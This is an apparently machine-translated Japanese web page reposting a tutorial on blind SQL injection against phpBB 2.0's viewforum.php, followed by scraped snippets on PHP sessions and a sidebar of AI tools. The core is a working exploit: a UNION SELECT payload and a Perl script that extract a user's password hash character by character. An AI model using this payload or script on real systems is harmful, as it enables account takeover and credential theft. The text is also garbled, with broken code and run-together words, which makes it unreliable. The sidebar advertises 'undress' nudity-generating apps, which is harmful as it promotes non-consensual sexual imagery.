PHPインジェクションの例
インターネット上で php インジェクションとアプリケーション コードに関する完全な記事を見るのは難しいので、他の人にインスピレーションを与えることを願って、私は数週間 mysql と php を勉強しました
と信じています。 asp インジェクションはすでに非常によく知られていますが、php へのインジェクションは asp よりも困難です。php の magic_gpc オプションは本当に頭の痛い問題です。インジェクションでは引用符を使用しないでください。また、php は主に mysql と関数型の組み合わせで使用されます。 mysql の欠点 他の人の観点から見ると、SQL インジェクション攻撃をある程度防ぐことができます。ここで phpbb2.0 を例に挙げます。
viewforum.php には次の変数があります。フィルタリングされていません:
if ( isset( $HTTP_GET_VARS
$forum_id = ( isset($HTTP_GET_VARS
($HTTP_POST_VARS}
else if ( isset($HTTP_GET_VARS['forum']))
{
$forum_id = $HTTP_GET_VARS['forum']
}
else
{
$forum_id = '';
}
これはフォーラムであり、次のものがクエリに直接入力されます:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " . "
WHERE forum_id = $forum_id";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'フォーラム情報を取得できませんでした', '', __LINE__, __FILE__ , $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
asp の場合、forum_id で指定されたフォーラムが存在しない場合は、それを挿入する人が多いと思います。 $result は空になり、フォーラム情報を取得できませんでした。そのため、次のコードは実行できません
//
// クエリが行を返さない場合、これは有効なフォーラムではないことを通知します
//。 user.
//
if ( !($forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist')
}
//
// セッション管理を開始します
//
$userdata = session_pagestart($user_ip, $forum_id) /*********************************** *****
キーはアスタリスクの行です。これは session_pagestart($user_ip, $thispage_id) という関数です。コードが長すぎるため、私が勝ちました。全文は掲載しておりませんので、興味のある方はご自身でご覧ください。重要なのは、この関数が session_begin() を呼び出すことです。 )) これは、次のコードも含めて定義されています
$sql = "UPDATE " . SESSIONS_TABLE "
SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =
$page_id session_logged_in = $login
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query($sql)) ││ !$db - > sql_affectedRows()){$ session_id = md5($ user_ip);
session_logged_in)
VALUES ('$session_id', $user_id , $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query($sql) )) )
{
message_die(CRITICAL_ERROR, '新しいセッションの作成中にエラーが発生しました: session_begin', '', __LINE__, __FILE__,
$sql);
ここには mysql で整数として定義されている session_page があり、その値は $page_id であり、挿入された値が整数でない場合は、エラーが報告され、
作成エラーが表示されます。新しいセッション: session_begin ヒント: $forum_id の値は非常に重要なので、次のように指定しました: -1%20union%20select%201,1,1,1,1,1,1,1,1,1,1 ,1 ,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57、いいえ引用符 ! 存在しない forum_id を指定していますが、返されるクエリ結果は必ずしも空ではありません。これは、user_id 2 を持つユーザーの最初のパスワードの ASCII コード値が 57 であるかどうかを推測するためです。そうであれば、の値が 57 になります。記事 コード内の $result が空ではないため、問題のある関数 session_pagestart が実行されます。挿入された数値が整数でない場合は、当然エラーが発生するため、Error created new session: session_begin が表示されます。 1 つのビットは正しく推測され、他のビットも同様です。
エラー メッセージが表示されても、注入が成功したかどうかを判断するのは難しいと思います。分析はここで終了し、コードの下にテストが添付されています。このコードは、少し変更することで他の同様の md5 パスワード推測の状況に適用できます。ここでは、中国語およびその他の言語の場合、英語版の戻り条件を使用します。
use HTTP::Request::Common;
use LWP::UserAgent;
$ua = new LWP::UserAgent; ************* *******n";
print "phpbb viewforum.php expn";
print " code by pineyesn";
print " www.icehack.comn" ;
print " ***************n";
print "弱いファイルの URL:n を入力してください"; //192.168.1.4/phpBB2/viewforum.phpn";
$adr=
chomp($adr);
print "解読したいuser_idを入力してください";
$u=
print "作業を開始します。お待ちください!n";
@pink=(@pink,97..102); j=1;$jfor ($i=0;$i$url=$adr."?forum=-1%20union%20select% 201,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%
20user_id=$u%20and%20ord(substring( user_password,$j,1))=$pink[$i]";
$request = HTTP::Request->new('GET', "$url ");
$response = $ua->request ($request);
if ($response->is_success) {
if ($response->content =~ /新しいセッションの作成エラー/) {
$pwd.=chr($pink[$i]) ;
print "$pwdn";
}
}
}
}
if ($pwd ne ""){
print "成功しました、パスワードは $pwd ,good luckyn";}
else{
print "bad lucky,work failed!n";}
phpbb2.0.6 の search.php に関する最近の問題については、上記のコードを少し変更するだけで、プログラムにエラーがある場合は、www.icehack.com にアクセスして修正してください。
http://www.bkjia.com/PHPjc/314566.html
www.bkjia.com
true

PHPでは、session_status()またはsession_id()を使用して、セッションが開始されたかどうかを確認できます。 1)session_status()関数を使用します。 php_session_activeが返された場合、セッションが開始されました。 2)SESSION_ID()関数を使用します。空の文字列が返された場合、セッションが開始されます。どちらの方法でもセッション状態を効果的に確認でき、使用する方法を選択することは、PHPバージョンと個人的な好みに依存します。

Sessionsionsionsarevitalinwebapplications、特にコマースプラットフォームの前。

PHPでの同時セッションアクセスの管理は、次の方法で実行できます。1。データベースを使用してセッションデータを保存します。これらの方法は、データの一貫性を確保し、並行性のパフォーマンスを向上させるのに役立ちます。

phpsessionshaveverallimitations:1)storagecconstraintscanleadtoperformanceissues; 2)securityvulnerablesliasitylikessessionfixationAttacksicexist;

負荷分散はセッション管理に影響しますが、セッションの複製、セッションの粘着性、集中セッションストレージで解決できます。 1。セッションレプリケーションサーバー間のセッションデータをコピーします。 2。セッションスティンネスは、ユーザーリクエストを同じサーバーに指示します。 3.集中セッションストレージは、Redisなどの独立したサーバーを使用してセッションデータを保存してデータ共有を確保します。

SESSIONLOCKINGISATECHNIQUESTOESUREAUSER'SSESSIONREMAINSEXCLUSIVETOONEUSATIME.ITISCRUCIALFORPREVENTINGDATACORTIONANDSECURITYBREACHESINMULTI-USERAPPLICATIONS.SESSIONLOCKINGISISIMPLEMENTEDUSINGSINGSINGSINGSINGSINGSINGSINGSINGSINGSINGSINGSINGSINGSINGSINGSINGSINGSINGSINGSINGSINGROCKINGSMECHANISMなど

PHPセッションの代替品には、Cookie、トークンベースの認証、データベースベースのセッション、Redis/Memcachedが含まれます。 1.Cookiesは、クライアントにデータを保存することによりセッションを管理します。 2.トークンベースの認証はトークンを使用してユーザーを検証します。これは非常に安全ですが、追加のロジックが必要です。 3.Databaseベースのセッションは、データベースにデータを保存します。これは、スケーラビリティが良好ですが、パフォーマンスに影響を与える可能性があります。 4. Redis/Memcachedは分散キャッシュを使用してパフォーマンスとスケーラビリティを向上させますが、追加のマッチングが必要です

SessionHijackingとは、ユーザーのSessionIDを取得してユーザーになりすましている攻撃者を指します。予防方法には、次のものが含まれます。1)HTTPSを使用した通信の暗号化。 2)SessionIDのソースの検証。 3)安全なSessionID生成アルゴリズムの使用。 4)SessionIDを定期的に更新します。


ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

DVWA
Damn Vulnerable Web App (DVWA) は、非常に脆弱な PHP/MySQL Web アプリケーションです。その主な目的は、セキュリティ専門家が法的環境でスキルとツールをテストするのに役立ち、Web 開発者が Web アプリケーションを保護するプロセスをより深く理解できるようにし、教師/生徒が教室環境で Web アプリケーションを教え/学習できるようにすることです。安全。 DVWA の目標は、シンプルでわかりやすいインターフェイスを通じて、さまざまな難易度で最も一般的な Web 脆弱性のいくつかを実践することです。このソフトウェアは、

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

MantisBT
Mantis は、製品の欠陥追跡を支援するために設計された、導入が簡単な Web ベースの欠陥追跡ツールです。 PHP、MySQL、Web サーバーが必要です。デモおよびホスティング サービスをチェックしてください。

ZendStudio 13.5.1 Mac
強力な PHP 統合開発環境

ホットトピック









